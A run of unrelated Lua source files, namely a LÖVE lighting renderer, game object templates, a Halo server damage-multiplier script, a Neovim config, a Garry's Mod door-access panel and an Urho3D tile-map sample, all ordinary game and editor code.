self.lights[i] if light:isVisible() then -- create shadow map for this light love.graphics.setCanvas( self.shadowMap ) love.graphics.clear() love.graphics.setCanvas() util.drawto(self.shadowMap, l, t, s, function() --I dont know if it uses both or just calls both love.graphics.stencil(function() local angle = light.direction - (light.angle / 2.0) love.graphics.arc("fill", light.x, light.y, light.range, angle, angle + light.angle) end) love.graphics.setStencilTest("greater",0) love.graphics.stencil(function() love.graphics.setShader(self.image_mask) for k = 1, #self.bodies do if self.bodies[k]:inLightRange(light) and self.bodies[k]:isVisible() then self.bodies[k]:drawStencil() end end love.graphics.setShader() end) love.graphics.setStencilTest("equal", 0) for k = 1, #self.bodies do if self.bodies[k]:inLightRange(light) and self.bodies[k]:isVisible() then self.bodies[k]:drawShadow(light) end end end) -- draw scene for this light using normals and shadowmap self.shadowShader:send('lightColor', {light.red / 255.0, light.green / 255.0, light.blue / 255.0}) self.shadowShader:send("lightPosition", {(light.x + l/s) * s, (light.y + t/s) * s, (light.z * 10) / 255.0}) self.shadowShader:send('lightRange',{light.range * s}) self.shadowShader:send("lightSmooth", light.smooth) self.shadowShader:send("lightGlow", {1.0 - light.glowSize, light.glowStrength}) util.drawCanvasToCanvas(self.shadowMap, self.shadow_buffer, { blendmode = 'add', shader = self.shadowShader, stencil = function() local angle = light.direction - (light.angle / 2.0) love.graphics.arc("fill", (light.x + l/s) * s, (light.y + t/s) * s, light.range, angle, angle + light.angle) end }) end end -- add in ambient color util.drawto(self.shadow_buffer, l, t, s, function() love.graphics.setBlendMode("add") love.graphics.setColor({self.ambient[1], self.ambient[2], self.ambient[3]}) love.graphics.rectangle("fill", -l/s, -t/s, w/s,h/s) end) self.post_shader:drawBlur(self.shadow_buffer, {self.shadowBlur}) util.drawCanvasToCanvas(self.shadow_buffer, self.render_buffer, {blendmode = "multiply"}) love.graphics.setStencilTest() end -- draw material function light_world:drawMaterial(l,t,w,h,s) for i = 1, #self.bodies do if self.bodies[i]:isVisible() then self.bodies[i]:drawMaterial() end end end -- draw glow function light_world:drawGlow(l,t,w,h,s) if self.glowDown then self.glowTimer = math.max(0.0, self.glowTimer - love.timer.getDelta()) else self.glowTimer = math.min(self.glowTimer + love.timer.getDelta(), 1.0) end if self.glowTimer == 1.0 or self.glowTimer == 0.0 then self.glowDown = not self.glowDown end local has_glow = false -- create glow map love.graphics.setCanvas( self.glowMap ) love.graphics.clear() love.graphics.setCanvas() util.drawto(self.glowMap, l, t, s, function() for i = 1, #self.bodies do if self.bodies[i]:isVisible() and self.bodies[i].glowStrength > 0.0 then has_glow = true self.bodies[i]:drawGlow() end end end) if has_glow then self.post_shader:drawBlur(self.glowMap, {self.glowBlur}) util.drawCanvasToCanvas(self.glowMap, self.render_buffer, {blendmode = "add"}) end end -- draw refraction function light_world:drawRefraction(l,t,w,h,s) -- create refraction map love.graphics.setCanvas( self.refractionMap ) love.graphics.clear() love.graphics.setCanvas() util.drawto(self.refractionMap, l, t, s, function() for i = 1, #self.bodies do if self.bodies[i]:isVisible() then self.bodies[i]:drawRefraction() end end end) self.refractionShader:send("backBuffer", self.render_buffer) self.refractionShader:send("refractionStrength", self.refractionStrength) util.drawCanvasToCanvas(self.refractionMap, self.render_buffer, {shader = self.refractionShader}) end -- draw reflection function light_world:drawReflection(l,t,w,h,s) -- create reflection map love.graphics.setCanvas( self.reflectionMap ) love.graphics.clear() love.graphics.setCanvas() util.drawto(self.reflectionMap, l, t, s, function() for i = 1, #self.bodies do if self.bodies[i]:isVisible() then self.bodies[i]:drawReflection() end end end) self.reflectionShader:send("backBuffer", self.render_buffer) self.reflectionShader:send("reflectionStrength", self.reflectionStrength) self.reflectionShader:send("reflectionVisibility", self.reflectionVisibility) util.drawCanvasToCanvas(self.reflectionMap, self.render_buffer, {shader = self.reflectionShader}) end -- new light function light_world:newLight(x, y, red, green, blue, range) self.lights[#self.lights + 1] = Light(x, y, red, green, blue, range) return self.lights[#self.lights] end function light_world:clear() light_world:clearLights() light_world:clearBodies() end function light_world:setTranslation(l, t, s) self.l, self.t, self.s = l or self.l, t or self.t, s or self.s end function light_world:setScale(s) self.s = s end function light_world:clearLights() self.lights = {} end function light_world:clearBodies() self.bodies = {} end function light_world:setAmbientColor(red, green, blue) self.ambient = {red, green, blue} end function light_world:setShadowBlur(blur) self.shadowBlur = blur end function light_world:setGlowStrength(strength) self.glowBlur = strength end function light_world:setRefractionStrength(strength) self.refractionStrength = strength end function light_world:setReflectionStrength(strength) self.reflectionStrength = strength end function light_world:setReflectionVisibility(visibility) self.reflectionVisibility = visibility end function light_world:getBodyCount() return #self.bodies end function light_world:getBody(n) return self.bodies[n] end function light_world:getLightCount() return #self.lights end function light_world:getLight(n) return self.lights[n] end function light_world:newRectangle(...) return self:newBody("rectangle", ...) end function light_world:newAnimationGrid(...) return self:newBody("animation", ...) end function light_world:newCircle(...) return self:newBody("circle", ...) end function light_world:newPolygon(...) return self:newBody("polygon", ...) end function light_world:newImage(...) return self:newBody("image", ...) end function light_world:newRefraction(...) self.disableRefraction = false return self:newBody("refraction", ...) end function light_world:newReflection(normal, ...) self.disableReflection = false return self:newBody("reflection", ...) end -- new body function light_world:newBody(type, ...) local id = #self.bodies + 1 self.bodies[id] = Body(id, type, ...) return self.bodies[#self.bodies] end function light_world:is_body(target) return target.type ~= nil end function light_world:is_light(target) return target.angle ~= nil end function light_world:remove(to_kill) if self:is_body(to_kill) then for i = 1, #self.bodies do if self.bodies[i] == to_kill then table.remove(self.bodies, i) return true end end elseif self:is_light(to_kill) then for i = 1, #self.lights do if self.lights[i] == to_kill then table.remove(self.lights, i) return true end end end -- failed to find it return false end return setmetatable({new = new}, {__call = function(_, ...) return new(...) end})
object_static_item_item_hoth_cable_floor_04 = object_static_item_shared_item_hoth_cable_floor_04:new { } ObjectTemplates:addTemplate(object_static_item_item_hoth_cable_floor_04, "object/static/item/item_hoth_cable_floor_04.iff")
--[[ --=====================================================================================================-- Script Name: Damage Multiplier (changer), for SAPP (PC & CE) Copyright (c) 2019, Jericho Crosby <jericho.crosby227@gmail.com> * Notice: You can use this document subject to the following conditions: https://github.com/Chalwk77/Halo-Scripts-Phasor-V2-/blob/master/LICENSE * Written by Jericho Crosby (Chalwk) --=====================================================================================================-- ]]-- api_version = "1.12.0.0" local multipliers = { -- TAG NAME | MULTIPLIER (0-9999) - 1 = normal damage -- STOCK TAGS -- melee = { { "weapons\\assault rifle\\melee", 4 }, { "weapons\\ball\\melee", 4 }, { "weapons\\flag\\melee", 4 }, { "weapons\\flamethrower\\melee", 4 }, { "weapons\\needler\\melee", 4 }, { "weapons\\pistol\\melee", 1 }, { "weapons\\plasma pistol\\melee", 4 }, { "weapons\\plasma rifle\\melee", 3 }, { "weapons\\rocket launcher\\melee", 1 }, { "weapons\\shotgun\\melee", 2 }, { "weapons\\sniper rifle\\melee", 2 }, { "weapons\\plasma_cannon\\effects\\plasma_cannon_melee", 2 }, }, grenades = { { "weapons\\frag grenade\\explosion", 2 }, { "weapons\\plasma grenade\\explosion", 2 }, { "weapons\\plasma grenade\\attached", 10 }, }, vehicles = { { "vehicles\\ghost\\ghost bolt", 1.015 }, { "vehicles\\scorpion\\bullet", 1.020 }, { "vehicles\\warthog\\bullet", 1.025 }, { "vehicles\\c gun turret\\mp bolt", 1.030 }, { "vehicles\\banshee\\banshee bolt", 1.035 }, { "vehicles\\scorpion\\shell explosion", 1.040 }, { "vehicles\\banshee\\mp_fuel rod explosion", 1.045 }, }, projectiles = { { "weapons\\pistol\\bullet", 1.00 }, { "weapons\\plasma rifle\\bolt", 1.50 }, { "weapons\\shotgun\\pellet", 1.20 }, { "weapons\\plasma pistol\\bolt", 1.50 }, { "weapons\\needler\\explosion", 2.00 }, { "weapons\\assault rifle\\bullet", 2.00 }, { "weapons\\needler\\impact damage", 1.10 }, { "weapons\\flamethrower\\explosion", 2.00 }, { "weapons\\sniper rifle\\sniper bullet", 4.00 }, { "weapons\\rocket launcher\\explosion", 5.00 }, { "weapons\\needler\\detonation damage", 2.00 }, { "weapons\\plasma rifle\\charged bolt", 3.00 }, { "weapons\\plasma_cannon\\effects\\plasma_cannon_melee", 2.50 }, { "weapons\\plasma_cannon\\effects\\plasma_cannon_explosion", 2.50 }, }, vehicle_collision = { { "globals\\vehicle_collision", 1 }, }, fall_damage = { { "globals\\falling", 1 }, { "globals\\distance", 1 }, }, } function OnScriptLoad() register_callback(cb["EVENT_DAMAGE_APPLICATION"], "OnDamageApplication") end function OnDamageApplication(PlayerIndex, CauserIndex, MetaID, Damage, HitString, Backtap) if (tonumber(CauserIndex) > 0 and PlayerIndex ~= CauserIndex) then for Table, _ in pairs(multipliers) do for _, Tag in pairs(multipliers[Table]) do if Tag[1] then if (MetaID == GetTag("jpt!", Tag[1])) then return true, Damage * Tag[2] end end end end end end function GetTag(obj_type, obj_name) local tag = lookup_tag(obj_type, obj_name) return tag ~= 0 and read_dword(tag + 0xC) or nil end
-- vim:foldmethod=marker: -- Use sh. -- It is faster vim.o.shell = 'sh' -- コマンドラインの履歴を10000件保存する vim.o.history = 10000 -- マウスを有効化 vim.o.mouse = 'a' -- Clipboard vim.o.clipboard = 'unnamedplus' -- Open Vim internal help by K command vim.o.keywordprg = ':help' -- 行頭行末の左右移動で行をまたぐ vim.o.whichwrap = 'b,s,h,l,<,>,[,]' -- Toggle paste vim.o.pastetoggle = '<F2>' -- grep {{{ if vim.fn.executable('rg') == 1 then -- Use rg (ripgrep) vim.o.grepprg = 'rg --no-heading --vimgrep' vim.o.grepformat = '%f:%l:%c:%m' elseif vim.fn.executable('ag') == 1 then -- Use ag (The Silver Searcher) vim.o.grepprg = 'ag --vimgrep' vim.o.grepformat = '%f:%l:%c:%m' end -- }}} -- 検索/置換 {{{ -- 大文字と小文字を区別しない vim.o.ignorecase = true -- 大文字と小文字が混在してる場合は区別する vim.o.smartcase = true -- 最後尾まで検索を終えたら次の検索で先頭に移る vim.o.wrapscan = true -- 置換時 g オプションをデフォルトで有効にする vim.o.gdefault = true -- 置換時 プレビュー表示 vim.o.inccommand = 'nosplit' -- }}} -- タブ/インデント {{{ -- Tabキー押下時のカーソル移動幅 vim.bo.softtabstop = 4 -- タブ入力を複数の空白入力に置き換えない vim.bo.expandtab = false -- 画面上でタブ文字が占める幅 vim.bo.tabstop = 4 -- smartindentでずれる幅 vim.bo.shiftwidth = 4 -- 改行時に前の行の構文をチェックし次の行のインデントを増減する vim.bo.smartindent = true -- }}} -- ファイル処理関連 {{{ -- 保存されていないファイルがあるときは終了前に保存確認 vim.o.confirm = true -- 保存されていないファイルがあるときでも別のファイルを開くことが出来る vim.o.hidden = true -- ファイル保存時にバックアップファイルを作らない vim.o.backup = false -- Swap vim.o.swapfile = false -- ファイル文末の改行を勝手に変更しない if vim.fn.exists('+fixeol') == 1 then vim.o.fixendofline = false end -- }}} -- View {{{ -- 背景を黒ベースに vim.o.background = 'dark' -- 行番号を表示する vim.wo.number = true -- 行を折り返さない vim.o.wrap = false -- 行番号を相対的に表示 -- Insert モードのみ絶対番号 vim.cmd('augroup numbertoggle') vim.cmd('autocmd!') vim.cmd('autocmd BufEnter,FocusGained,InsertLeave,WinEnter * if &nu | set rnu | endif') vim.cmd('autocmd BufLeave,FocusLost,InsertEnter,WinLeave * if &nu | set nornu | endif') vim.cmd('augroup END') -- 2バイト文字を描画する if vim.env.TERM_PROGRAM == "Apple_Terminal" then vim.o.ambiwidth = 'double' end -- メッセージ表示欄を1行確保 vim.o.cmdheight = 1 -- 不可視文字を表示 vim.wo.list = true vim.o.listchars = 'tab:¦ ,trail:・' -- Enable true color if vim.fn.exists('+termguicolors') == 1 and vim.env.TERM_PROGRAM ~= "Apple_Terminal" then vim.o.termguicolors = true end -- エディタの分割方向を設定する vim.o.splitbelow = true vim.o.splitright = true -- 折りたたみ vim.wo.foldcolumn = 'auto:3' vim.wo.foldlevel = 1 vim.wo.foldmethod = 'marker' --vim.wo.foldmethod = 'expr' -- 半透明 ウィンドウ vim.o.pumblend = 10 vim.o.winblend = 30 -- }}} -- カーソル {{{ -- カーソル位置のカラムの背景色を変える vim.wo.cursorcolumn = true -- カーソル行の背景色を変える vim.wo.cursorline = true -- カーソルの形状を変える vim.o.guicursor = 'n-v-c:block-Cursor/lCursor-blinkon0,i-ci:ver25-Cursor/lCursor,r-cr:hor20-Cursor/lCursor' -- }}}
object_draft_schematic_weapon_lightsaber_polearm_gen1 = object_draft_schematic_weapon_shared_lightsaber_polearm_gen1:new { } ObjectTemplates:addTemplate(object_draft_schematic_weapon_lightsaber_polearm_gen1, "object/draft_schematic/weapon/lightsaber_polearm_gen1.iff")
--[[ Name: "cl_door.lua". Product: "kuroScript". --]] local PANEL = {}; -- Called when the panel is initialized. function PANEL:Init() self:SetTitle( kuroScript.door.GetName() ); self:SetBackgroundBlur(true); self:SetDeleteOnClose(false); -- Called when the button is clicked. function self.btnClose.DoClick(button) self:Close(); self:Remove(); -- Disable the screen clicker. gui.EnableScreenClicker(false); end; -- Set some information. self.settingsPanel = vgui.Create("DPanelList"); self.settingsPanel:SetPadding(2); self.settingsPanel:SetSpacing(3); self.settingsPanel:SizeToContents(); self.settingsPanel:EnableVerticalScrollbar(); -- Set some information. self.playersPanel = vgui.Create("DPanelList"); self.playersPanel:SetPadding(2); self.playersPanel:SetSpacing(3); self.playersPanel:SizeToContents(); self.playersPanel:EnableVerticalScrollbar(); -- Set some information. self.settingsForm = vgui.Create("DForm"); self.settingsForm:SetPadding(4); self.settingsForm:SetName("Settings"); -- Add an item to the panel list. self.settingsPanel:AddItem(self.settingsForm); -- Set some information. self.textEntry = self.settingsForm:TextEntry("Text"); -- Called when enter has been pressed. function self.textEntry.OnEnter(textEntry) datastream.StreamToServer( "ks_Door", { kuroScript.door.GetEntity(), "Text", textEntry:GetValue() } ); end; -- Check if a statement is true. if (kuroScript.door.GetOwner() == g_LocalPlayer) then if ( !kuroScript.door.IsUnsellable() ) then local button = self.settingsForm:Button("Sell"); local doorCost = kuroScript.config.Get("door_cost"):Get(); -- Called when the button is clicked. function button.DoClick(button) if (doorCost > 0) then Derma_Query("Are you sure that you want to sell this door?", "Sell Door", "Yes", function() datastream.StreamToServer( "ks_Door", {kuroScript.door.GetEntity(), "Sell"} ); -- Enable the screen clicker. gui.EnableScreenClicker(false); -- Close and remove the panel. self:Close(); self:Remove(); end, "No", function() gui.EnableScreenClicker(false); end); else Derma_Query("Are you sure that you want to unown this door?", "Unown Door", "Yes", function() datastream.StreamToServer( "ks_Door", {kuroScript.door.GetEntity(), "Sell"} ); -- Enable the screen clicker. gui.EnableScreenClicker(false); -- Close and remove the panel. self:Close(); self:Remove(); end, "No", function() gui.EnableScreenClicker(false); end); end; -- Enable the screen clicker. gui.EnableScreenClicker(true); end; end; end; -- Set some information. self.propertySheet = vgui.Create("DPropertySheet", self); self.propertySheet:AddSheet("Players", self.playersPanel, "gui/silkicons/user", nil, nil, "View players with or without access to this door."); self.propertySheet:AddSheet("Settings", self.settingsPanel, "gui/silkicons/wrench", nil, nil, "View this door's settings."); end; -- A function to rebuild the panel. function PANEL:Rebuild() self.playersPanel:Clear(); -- Set some information. local accessList = kuroScript.door.GetAccessList(); local categories = {}; local owner = kuroScript.door.GetOwner(); local door = kuroScript.door.GetEntity(); local k2, v2; local k, v; -- Loop through each value in a table. for k, v in pairs( g_Player.GetAll() ) do if ( v:HasInitialized() ) then if (g_LocalPlayer != v and owner != v) then local access = accessList[v] or false; -- Check if a statement is true. if ( hook.Call("PlayerShouldShowOnDoorAccessList", kuroScript.frame, v, door, owner) ) then local name = hook.Call("GetPlayerDoorAccessName", kuroScript.frame, v, door, owner); local index; -- Check if a statement is true. if (access == DOOR_ACCESS_COMPLETE) then index = 1; elseif (access == DOOR_ACCESS_BASIC) then index = 2; else index = 3; end; -- Check if a statement is true. if ( !categories[index] ) then categories[index] = {}; end; -- Set some information. categories[index][#categories[index] + 1] = {v, name}; end; end; end; end; -- Check if a statement is true. if (table.Count(categories) > 0) then for k, v in pairs(categories) do local collapsibleCategory = vgui.Create("DCollapsibleCategory", self.playersPanel); local panelList = vgui.Create("DPanelList", self.playersPanel); -- Add an item to the panel list. self.playersPanel:AddItem(collapsibleCategory); -- Sort the items. table.sort(v, function(a, b) return a[2] < b[2]; end); -- Loop through each value in a table. for k2, v2 in pairs(v) do local button = vgui.Create("DButton", self.playersPanel); local access = false; local player = v2[1]; -- Check if a statement is true. if (k == 1) then access = DOOR_ACCESS_COMPLETE; elseif (k == 2) then access = DOOR_ACCESS_BASIC; end; -- Called when the button is clicked. function button.DoClick(button) local options; -- Check if a statement is true. if (access == DOOR_ACCESS_COMPLETE) then options = { ["Take Complete Access"] = function() datastream.StreamToServer( "ks_Door", {door, "Access", player, access} ); end }; elseif (access == DOOR_ACCESS_BASIC) then options = { ["Take Basic Access"] = function() datastream.StreamToServer( "ks_Door", {door, "Access", player, access} ); end, ["Give Complete Access"] = function() datastream.StreamToServer( "ks_Door", {door, "Access", player, DOOR_ACCESS_COMPLETE} ); end }; else options = { ["Give Basic Access"] = function() datastream.StreamToServer( "ks_Door", {door, "Access", player, DOOR_ACCESS_BASIC} ); end, ["Give Complete Access"] = function() datastream.StreamToServer( "ks_Door", {door, "Access", player, DOOR_ACCESS_COMPLETE} ); end }; end; -- Check if a statement is true. if (options) then kuroScript.frame:AddMenuFromData(nil, options); end; end; -- Set some information. button:SetText( v2[2] ); -- Add an item to the panel list. panelList:AddItem(button); end; -- Set some information. panelList:SetAutoSize(true); panelList:SetPadding(4); panelList:SetSpacing(4); -- Set some information. collapsibleCategory:SetPadding(4); collapsibleCategory:SetContents(panelList); -- Check if a statement is true. if (k == 1) then collapsibleCategory:SetLabel("Complete Access"); collapsibleCategory:SetCookieName("ks_Door_Complete"); elseif (k == 2) then collapsibleCategory:SetLabel("Basic Access"); collapsibleCategory:SetCookieName("ks_Door_Basic"); else collapsibleCategory:SetLabel("Zero Access"); collapsibleCategory:SetCookieName("ks_Door_Zero"); end; end; end; end; -- Called each frame. function PANEL:Think() local entity = kuroScript.door.GetEntity(); local scrW = ScrW(); local scrH = ScrH(); -- Set some information. self:SetSize(scrW * 0.5, scrH * 0.75); self:SetPos( (scrW / 2) - (self:GetWide() / 2), (scrH / 2) - (self:GetTall() / 2) ); -- Check if a statement is true. if (!ValidEntity(entity) or entity:GetPos():Distance( g_LocalPlayer:GetPos() ) > 192) then self:Close(); self:Remove(); -- Disable the screen clicker. gui.EnableScreenClicker(false); end; end; -- Called when the layout should be performed. function PANEL:PerformLayout() self.playersPanel:StretchToParent(0, 0, 0, 0); self.settingsPanel:StretchToParent(0, 0, 0, 0); self.propertySheet:StretchToParent(4, 28, 4, 4); -- Perform the layour. DFrame.PerformLayout(self); end; -- Register the panel. vgui.Register("ks_Door", PANEL, "DFrame"); -- Hook a data stream. datastream.Hook("ks_PurchaseDoor", function(handler, uniqueID, rawData, procData) local doorCost = kuroScript.config.Get("door_cost"):Get(); -- Check if a sttaement is true. if (doorCost > 0) then Derma_Query("Do you want to purchase this door for "..FORMAT_CURRENCY(kuroScript.config.Get("door_cost"):Get(), nil, true).."?", "Purchase Door", "Yes", function() datastream.StreamToServer( "ks_Door", {procData, "Purchase"} ); -- Enable the screen clicker. gui.EnableScreenClicker(false); end, "No", function() gui.EnableScreenClicker(false); end); else Derma_Query("Do you want to own this door?", "Own Door", "Yes", function() datastream.StreamToServer( "ks_Door", {procData, "Purchase"} ); -- Enable the screen clicker. gui.EnableScreenClicker(false); end, "No", function() gui.EnableScreenClicker(false); end); end; -- Enable the screen clicker. gui.EnableScreenClicker(true); end); -- Hook a data stream. datastream.Hook("ks_DoorAccess", function(handler, uniqueID, rawData, procData) if ( kuroScript.door.GetPanel() ) then local accessList = kuroScript.door.GetAccessList(); -- Check if a statement is true. if ( ValidEntity( procData[1] ) ) then if ( procData[2] ) then accessList[ procData[1] ] = procData[2]; else accessList[ procData[1] ] = nil; end; -- Rebuild the panel. kuroScript.door.GetPanel():Rebuild(); end; end; end); -- Hook a data stream. datastream.Hook("ks_Door", function(handler, uniqueID, rawData, procData) if ( kuroScript.door.GetPanel() ) then kuroScript.door.GetPanel():Remove(); end; -- Enable the screen clicker. gui.EnableScreenClicker(true); -- Set some information. kuroScript.door.unsellable = procData.unsellable; kuroScript.door.accessList = procData.accessList; kuroScript.door.entity = procData.entity; kuroScript.door.owner = procData.owner; kuroScript.door.name = kuroScript.entity.GetDoorName(procData.entity); -- Check if a statement is true. if (kuroScript.door.name == "") then kuroScript.door.name = "Door"; end; -- Set some information. kuroScript.door.panel = vgui.Create("ks_Door"); kuroScript.door.panel:MakePopup(); kuroScript.door.panel:Rebuild(); -- Check if a statement is true. if ( !kuroScript.entity.HasOwner(procData.entity) or ValidEntity(procData.owner) ) then kuroScript.door.panel.textEntry:SetValue( kuroScript.entity.GetDoorText(procData.entity) ); end; end);
object_draft_schematic_weapon_rifle_disrupter = object_draft_schematic_weapon_shared_rifle_disrupter:new { } ObjectTemplates:addTemplate(object_draft_schematic_weapon_rifle_disrupter, "object/draft_schematic/weapon/rifle_disrupter.iff")
-- Tile map example. -- This sample demonstrates: -- - Creating an isometric 2D scene with tile map -- - Displaying the scene using the Renderer subsystem -- - Handling keyboard to move a character and zoom 2D camera -- - Generating physics shapes from the tmx file's objects -- - Displaying debug geometry for physics and tile map -- Note that this sample uses some functions from Sample2D utility class. require "LuaScripts/Utilities/Sample" require "LuaScripts/Utilities/2D/Sample2D" function Start() -- Set filename for load/save functions demoFilename = "Isometric2D" -- Execute the common startup for samples SampleStart() -- Create the scene content CreateScene() -- Create the UI content CreateUIContent("ISOMETRIC 2.5D DEMO") -- Hook up to the frame update events SubscribeToEvents() end function CreateScene() scene_ = Scene() -- Create the Octree, DebugRenderer and PhysicsWorld2D components to the scene scene_:CreateComponent("Octree") scene_:CreateComponent("DebugRenderer") local physicsWorld = scene_:CreateComponent("PhysicsWorld2D") physicsWorld.gravity = Vector2.ZERO -- Neutralize gravity as the character will always be grounded -- Create camera cameraNode = Node() local camera = cameraNode:CreateComponent("Camera") camera.orthographic = true camera.orthoSize = graphics.height * PIXEL_SIZE zoom = 2 * Min(graphics.width / 1280, graphics.height / 800) -- Set zoom according to user's resolution to ensure full visibility (initial zoom (2) is set for full visibility at 1280x800 resolution) camera.zoom = zoom -- Setup the viewport for displaying the scene renderer:SetViewport(0, Viewport:new(scene_, camera)) renderer.defaultZone.fogColor = Color(0.2, 0.2, 0.2) -- Set background color for the scene -- Create tile map from tmx file local tmxFile = cache:GetResource("TmxFile2D", "Urho2D/Tilesets/atrium.tmx") local tileMapNode = scene_:CreateChild("TileMap") local tileMap = tileMapNode:CreateComponent("TileMap2D") tileMap.tmxFile = tmxFile local info = tileMap.info -- Create Spriter Imp character (from sample 33_SpriterAnimation) CreateCharacter(info, true, 0, Vector3(-5, 11, 0), 0.15) -- Generate physics collision shapes from the tmx file's objects located in "Physics" (top) layer local tileMapLayer = tileMap:GetLayer(tileMap.numLayers - 1) CreateCollisionShapesFromTMXObjects(tileMapNode, tileMapLayer, info) -- Instantiate enemies and moving platforms at each placeholder of "MovingEntities" layer (placeholders are Poly Line objects defining a path from points) PopulateMovingEntities(tileMap:GetLayer(tileMap.numLayers - 2)) -- Instantiate coins to pick at each placeholder of "Coins" layer (placeholders for coins are Rectangle objects) PopulateCoins(tileMap:GetLayer(tileMap.numLayers - 3)) -- Check when scene is rendered SubscribeToEvent("EndRendering", HandleSceneRendered) end function HandleSceneRendered() UnsubscribeFromEvent("EndRendering") SaveScene(true) -- Save the scene so we can reload it later scene_.updateEnabled = false -- Pause the scene as long as the UI is hiding it end function SubscribeToEvents() -- Subscribe HandleUpdate() function for processing update events SubscribeToEvent("Update", "HandleUpdate") -- Subscribe HandlePostUpdate() function for processing post update events SubscribeToEvent("PostUpdate", "HandlePostUpdate") -- Subscribe to PostRenderUpdate to draw physics shapes SubscribeToEvent("PostRenderUpdate", "HandlePostRenderUpdate") -- Subscribe to Box2D contact listeners SubscribeToEvent("PhysicsBeginContact2D", "HandleCollisionBegin") -- Unsubscribe the SceneUpdate event from base class to prevent camera pitch and yaw in 2D sample UnsubscribeFromEvent("SceneUpdate") end function HandleUpdate(eventType, eventData) -- Zoom in/out Zoom(cameraNode:GetComponent("Camera")) -- Toggle debug geometry with spacebar if input:GetKeyPress(KEY_Z) then drawDebug = not drawDebug end -- Check for loading / saving the scene if input:GetKeyPress(KEY_F5) then SaveScene() end if input:GetKeyPress(KEY_F7) then ReloadScene(false) end end function HandlePostUpdate(eventType, eventData) if character2DNode == nil or cameraNode == nil then return end cameraNode.position = Vector3(character2DNode.position.x, character2DNode.position.y, -10) -- Camera tracks character end function HandlePostRenderUpdate(eventType, eventData) if drawDebug then scene_:GetComponent("PhysicsWorld2D"):DrawDebugGeometry(true) local tileMapNode = scene_:GetChild("TileMap", true) local map = tileMapNode:GetComponent("TileMap2D") map:DrawDebugGeometry(scene_:GetComponent("DebugRenderer"), false) end end function HandleCollisionBegin(eventType, eventData) -- Get colliding node local hitNode = eventData["NodeA"]:GetPtr("Node") if hitNode.name == "Imp" then hitNode = eventData["NodeB"]:GetPtr("Node") end local nodeName = hitNode.name local character = character2DNode:GetScriptObject("Character2D") -- Handle coins picking if nodeName == "Coin" then hitNode:Remove() character.remainingCoins = character.remainingCoins - 1 if character.remainingCoins == 0 then local instructions = ui.root:GetChild("Instructions", true) instructions.text = "!!! You got all the coins !!!" end local coinsText = ui.root:GetChild("CoinsText", true) coinsText.text = character.remainingCoins -- Update coins UI counter PlaySound("Powerup.wav") end -- Handle interactions with enemies if nodeName == "Orc" then local animatedSprite = character2DNode:GetComponent("AnimatedSprite2D") local deltaX = character2DNode.position.x - hitNode.position.x -- Orc killed if character is fighting in its direction when the contact occurs if animatedSprite.animation == "attack" and deltaX < 0 == animatedSprite.flipX then hitNode:GetScriptObject("Mover").emitTime = 1 if hitNode:GetChild("Emitter", true) == nil then hitNode:GetComponent("RigidBody2D"):Remove() -- Remove Orc's body SpawnEffect(hitNode) PlaySound("BigExplosion.wav") end -- Player killed if not fighting in the direction of the Orc when the contact occurs else if character2DNode:GetChild("Emitter", true) == nil then character.wounded = true if nodeName == "Orc" then hitNode:GetScriptObject("Mover").fightTimer = 1 end SpawnEffect(character2DNode) PlaySound("BigExplosion.wav") end end end end -- Character2D script object class Character2D = ScriptObject() function Character2D:Start() self.wounded = false self.killed = false self.timer = 0 self.maxCoins = 0 self.remainingCoins = 0 self.remainingLifes = 3 end function Character2D:Update(timeStep) if character2DNode == nil then return end -- Handle wounded/killed states if self.killed then return end if self.wounded then self:HandleWoundedState(timeStep) return end local node = self.node local animatedSprite = node:GetComponent("AnimatedSprite2D") -- Set direction local moveDir = Vector3.ZERO -- Reset local speedX = Clamp(MOVE_SPEED_X / zoom, 0.4, 1) local speedY = speedX if input:GetKeyDown(KEY_LEFT) or input:GetKeyDown(KEY_A) then moveDir = moveDir + Vector3.LEFT * speedX animatedSprite.flipX = false -- Flip sprite (reset to default play on the X axis) end if input:GetKeyDown(KEY_RIGHT) or input:GetKeyDown(KEY_D) then moveDir = moveDir + Vector3.RIGHT * speedX animatedSprite.flipX = true -- Flip sprite (flip animation on the X axis) end if not moveDir:Equals(Vector3.ZERO) then speedY = speedX * MOVE_SPEED_SCALE end if input:GetKeyDown(KEY_UP) or input:GetKeyDown(KEY_W) then moveDir = moveDir + Vector3.UP * speedY end if input:GetKeyDown(KEY_DOWN) or input:GetKeyDown(KEY_S) then moveDir = moveDir + Vector3.DOWN * speedY end -- Move if not moveDir:Equals(Vector3.ZERO) then node:Translate(moveDir * timeStep) end -- Animate if input:GetKeyDown(KEY_SPACE) then if animatedSprite.animation ~= "attack" then animatedSprite:SetAnimation("attack", LM_FORCE_LOOPED) end elseif not moveDir:Equals(Vector3.ZERO) then if animatedSprite.animation ~= "run" then animatedSprite:SetAnimation("run") end elseif animatedSprite.animation ~= "idle" then animatedSprite:SetAnimation("idle") end end function Character2D:HandleWoundedState(timeStep) local node = self.node local body = node:GetComponent("RigidBody2D") local animatedSprite = node:GetComponent("AnimatedSprite2D") -- Play "hit" animation in loop if animatedSprite.animation ~= "hit" then animatedSprite:SetAnimation("hit", LM_FORCE_LOOPED) end -- Update timer self.timer = self.timer + timeStep if self.timer > 2.0 then -- Reset timer self.timer = 0.0 -- Clear forces (should be performed by setting linear velocity to zero, but currently doesn't work) body.linearVelocity = Vector2(0.0, 0.0) body.awake = false body.awake = true -- Remove particle emitter node:GetChild("Emitter", true):Remove() -- Update lifes UI and counter self.remainingLifes = self.remainingLifes - 1 local lifeText = ui.root:GetChild("LifeText", true) lifeText.text = self.remainingLifes -- Update lifes UI counter -- Reset wounded state self.wounded = false -- Handle death if self.remainingLifes == 0 then self:HandleDeath() return end -- Re-position the character to the nearest point if node.position.x < 15.0 then node.position = Vector3(1.0, 8.0, 0.0) else node.position = Vector3(18.8, 9.2, 0.0) end end end function Character2D:HandleDeath() local node = self.node local animatedSprite = node:GetComponent("AnimatedSprite2D") -- Set state to 'killed' self.killed = true -- Update UI elements local instructions = ui.root:GetChild("Instructions", true) instructions.text = "!!! GAME OVER !!!" ui.root:GetChild("ExitButton", true).visible = true ui.root:GetChild("PlayButton", true).visible = true -- Show mouse cursor so that we can click input.mouseVisible = true -- Put character outside of the scene and magnify him node.position = Vector3(-20.0, 0.0, 0.0) node:SetScale(1.2) -- Play death animation once if animatedSprite.animation ~= "dead2" then animatedSprite:SetAnimation("dead2") end end
return { sharp = { 18, 15, 9, 25 }, sharpp = { 18, 15, 9, 32, 4 } }
